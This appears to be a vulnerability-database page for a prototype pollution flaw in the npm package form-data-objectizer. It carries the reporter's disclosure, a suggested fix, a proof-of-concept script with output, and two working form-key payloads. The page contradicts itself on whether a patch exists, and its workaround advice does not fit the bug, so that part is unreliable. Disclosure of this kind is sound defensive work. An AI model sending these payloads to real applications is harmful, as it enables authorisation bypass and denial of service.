CVE-2026-46510 is a high-severity (CVSS 8.2) CWE-1321 vulnerability in form-data-objectizer. A fix is available for form-data-objectizer — see the affected versions and patch details below.
Prototype pollution in form-data-objectizer via bracket-notation form keys
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46510.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-46510 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
form-data-objectizernpmDescription
Summary
form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process.
The bug is in treatInitial and treatSecond inside index.cjs:
if (inputName in result) { // 'in' walks the prototype chain, so '__proto__' matches
newResult = result[inputName] // newResult === Object.prototype
}
// ...
result[key] = value // sets the property on Object.prototype
With the form key __proto__[polluted] and value yes:
treatInitialmatchesinputName = "__proto__",rest = "[polluted]"."__proto__" in resultis true (inherited), sonewResult = result["__proto__"], which isObject.prototype.treatSecondrecurses withkey = "polluted",newRest = "", and assignsObject.prototype.polluted = "yes".
Affected versions
form-data-objectizer<= 1.0.0(currently the only published version)
Patched
Not yet. Suggested fix: reject any segment equal to __proto__, constructor, or prototype before walking into result[inputName] / result[key]. Either throw or skip the entry.
Minimum patch in treatInitial and treatSecond:
const REJECT = new Set(['__proto__', 'constructor', 'prototype']);
if (REJECT.has(inputName) || REJECT.has(key)) {
return; // or throw
}
Using Object.create(null) for the result object would also work since it has no prototype to pollute, but the key === '__proto__' direct write still needs guarding.
Proof of concept
Fresh install on Node 18+:
mkdir pp-fdo && cd pp-fdo
npm init -y
npm install [email protected]
// poc.js
const FormDataToObject = require('form-data-objectizer');
const form = new FormData();
form.append('username', 'alice');
form.append('__proto__[polluted]', 'yes');
FormDataToObject.toObject(form);
console.log(({}).polluted); // -> 'yes'
Observed output:
package version: 1.0.0
before pollution: undefined
after pollution: yes
parsed data: { username: 'alice' }
confirmed: YES, prototype polluted
The field name __proto__[polluted] is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits polluted = 'yes'. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.
A second working payload is constructor[prototype][polluted]=yes, which walks result.constructor then .prototype.
Impact
- Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses
form-data-objectizer.toObject()on incoming form data. - Persists for the life of the worker process and affects every subsequent request handled by the same process.
- Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing
if (obj.isAdmin)style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2, High)
Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.
Credit
Reported by Mohamed Bassia (@0xBassia).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | form-data-objectizer | all versions | 1.0.1npm install form-data-objectizer@1.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for form-data-objectizer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update form-data-objectizer to 1.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46510 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-46510 in your dependencies?
Find it across npm, including transitive dependencies.